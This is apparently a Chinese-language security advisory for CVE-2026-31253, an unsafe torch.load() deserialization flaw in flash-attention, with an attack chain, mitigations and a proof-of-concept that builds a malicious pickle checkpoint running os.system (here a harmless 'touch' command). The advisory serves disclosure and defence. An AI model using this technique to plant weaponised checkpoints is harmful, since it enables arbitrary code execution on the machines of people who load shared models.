IPBUF安全漏洞报告
English
CVE-2026-31253 CVSS 7.3 高危

CVE-2026-31253 flash-attention不安全反序列化漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-31253
漏洞类型
不安全反序列化
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
flash-attention

相关标签

反序列化RCEPyTorchflash-attentionCWE-502

漏洞概述

flash-attention训练框架存在不安全反序列化漏洞(CVE-2026-31253)。该漏洞源于checkpoint.py和eval.py中使用torch.load()加载检查点时未启用weights_only=True参数。攻击者可诱导受害者加载恶意构造的检查点文件,利用pickle机制反序列化执行任意代码。

技术细节

漏洞核心在于PyTorch的torch.load函数默认使用不安全的pickle模块进行对象反序列化。在flash-attention框架中,checkpoint.py的load_checkpoint函数及eval.py直接调用该函数处理检查点文件,且未设置安全限制参数weights_only=True。这使得攻击者能够构造包含恶意类定义的.pth文件,通过重写__reduce__方法植入任意系统指令。一旦受害者在模型预热或评估阶段加载该文件,恶意代码即被触发执行,导致远程代码执行风险。

攻击链分析

STEP 1
侦察
攻击者确认目标正在使用存在漏洞的flash-attention版本,且具备加载外部检查点的业务流程。
STEP 2
武器化
攻击者利用Python pickle机制,构造包含恶意代码(如反弹Shell)的伪造模型检查点文件(.pth)。
STEP 3
投递
攻击者通过社区分享、邮件投递或污染模型库等方式,诱导受害者下载该恶意检查点文件。
STEP 4
利用
受害者使用受影响的flash-attention框架代码(如eval.py)加载该恶意文件。
STEP 5
执行
torch.load()触发pickle反序列化,执行攻击者预置的任意代码,获取系统权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import torch # Define a malicious class to execute code on deserialization class MaliciousCheckpoint: def __reduce__(self): # The command to execute (e.g., creating a proof-of-concept file) return (os.system, ('touch /tmp/VULNERABLE_POC',)) # Create the malicious payload payload = MaliciousCheckpoint() # Save as a fake checkpoint file with open('malicious_model.pth', 'wb') as f: pickle.dump(payload, f) print("Malicious checkpoint generated: malicious_model.pth") # Simulate the vulnerable loading process in flash-attention # This is what happens in the victim's eval.py or checkpoint.py try: # Vulnerable call: torch.load() without weights_only=True print("Simulating victim loading the checkpoint...") data = torch.load('malicious_model.pth') print("Checkpoint loaded successfully.") except Exception as e: print(f"Error during loading: {e}")

影响范围

flash-attention <= commit e724e2588cbe754beb97cf7c011b5e7e34119e62

防御指南

临时缓解措施
建议开发人员在调用torch.load()函数时务必设置weights_only=True参数,确保仅加载张量数据而非Python对象。对于无法立即升级的环境,应严格限制模型文件的来源,并在沙箱隔离环境中进行模型评估与加载操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表